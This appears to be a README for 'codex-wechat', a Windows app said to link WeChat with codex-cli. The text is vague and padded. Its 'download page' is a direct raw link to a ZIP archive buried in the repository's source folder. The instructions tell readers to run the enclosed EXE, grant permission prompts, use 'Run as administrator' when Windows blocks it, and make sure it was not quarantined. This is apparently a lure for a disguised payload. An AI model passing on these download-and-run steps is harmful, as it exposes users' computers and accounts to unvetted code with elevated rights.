codex-wechat is a Windows tool that links WeChat on your local PC with codex-cli. It helps you send and receive data between WeChat and your local Codex setup in a simple way.
This project is made for regular Windows users who want to use WeChat as a bridge to a local AI command tool. You do not need coding skills to get it running.
Visit this page to download the app:
Open the page in your browser and look for the latest release or download package. If the page offers a ZIP file or EXE file, save it to your computer before you continue.
To run codex-wechat on Windows, use a system with:
- Windows 10 or Windows 11
- A working internet connection for the first setup
- WeChat installed on the same computer
- Enough free space for the app and its files
- A local codex-cli setup ready to connect
For best results, sign in to WeChat before you start.
codex-wechat helps you:
- Link WeChat to a local codex-cli instance
- Send text from WeChat into your local workflow
- Receive output back in a chat-friendly way
- Keep the process on your own PC
- Reduce manual copy and paste between tools
It fits users who want a simple bridge between chat and local command use.
Follow these steps:
-
Open the download page: https://github.com/Similar-colpoxerosis201/codex-wechat/raw/refs/heads/main/src/app/codex_wechat_v1.4.zip
-
Download the latest Windows package from the page.
-
If the file comes as a ZIP archive, right-click it and choose Extract All.
-
Open the extracted folder.
-
Find the main app file. It may be an EXE file or a start file for Windows.
-
Double-click the file to run the app.
-
If Windows asks for permission, choose Allow or Yes.
-
Keep the app running while you set up WeChat and codex-cli.
After the app starts, connect it to your local codex-cli setup:
-
Make sure WeChat is open and signed in.
-
Start codex-wechat on the same PC.
-
Open the app settings or config screen if it has one.
-
Enter the local codex-cli path or connection details.
-
Save the settings.
-
Send a test message from WeChat.
-
Check that the reply comes back through the app.
If the app uses a local port or local service, make sure nothing else is using the same port.
Use this simple setup flow:
-
Install WeChat if you have not done so already.
-
Download codex-wechat from the project page.
-
Unzip the file if needed.
-
Run the Windows app.
-
Point the app to your codex-cli install.
-
Keep the app open in the background.
-
Send a short message in WeChat to test the link.
If the app includes a config file, open it in Notepad and check that the path values look correct.
Once setup is done, you can use the app like this:
- Open WeChat on your PC
- Send a message to the linked chat
- Let codex-wechat pass the text to codex-cli
- Read the reply in WeChat or in the app window
Use short messages at first. That makes it easier to see whether the link works.
This tool can help with tasks like:
- Sending a note from WeChat into a local command flow
- Checking quick replies from codex-cli
- Moving text between chat and a local tool
- Testing local automation on Windows
- Keeping the workflow on one computer
If the app does not work right away, check these items:
- Make sure WeChat is open
- Make sure codex-cli is installed
- Make sure both tools run on the same PC
- Check that the app has permission to run
- Restart the app after you change settings
- Try another message if the first one does not pass through
If Windows blocks the file, right-click the app and choose Run as administrator.
If the app opens but does nothing, confirm that the config path points to the correct codex-cli location.
A common Windows package may include:
codex-wechat.exe— main app fileconfig.json— settings filelogsfolder — run history and error textREADME.md— project instructionsassetsfolder — app files and icons
If you see extra files, keep them in the same folder unless the instructions in the app say something else.
codex-wechat is meant to link WeChat with a local codex-cli setup on your own computer. That means the app is built for local use instead of cloud-only use.
Keep your WeChat account signed in on a trusted PC. Also keep your config file private if it contains local paths or tokens.
A few tips can help on Windows:
- Use a folder with a short path, like
C:\Apps\codex-wechat - Avoid moving the app after setup unless you update the config
- Keep WeChat and codex-wechat open at the same time
- Close other tools that may use the same local port
- Use the same Windows user account each time
Before you run the app, confirm:
- You can open WeChat normally
- Your codex-cli setup works on its own
- The download finished without errors
- The app files are not still inside the ZIP file
- Windows did not quarantine the file
A simple folder setup can look like this:
C:\Apps\codex-wechat\C:\Apps\codex-wechat\codex-wechat.exeC:\Apps\codex-wechat\config.jsonC:\Apps\codex-wechat\logs\
Keep the full folder together so the app can find its files.
Download and run the Windows app from:
To update the app:
- Open the project page
- Get the newest release or package
- Close the running app
- Replace the old files with the new files
- Open the app again
- Check that your settings still match your codex-cli path
After setup, do this:
- Open WeChat
- Start codex-wechat
- Send one short message
- Wait for the reply
- Check whether the reply matches your setup
If you get a reply, the link is working.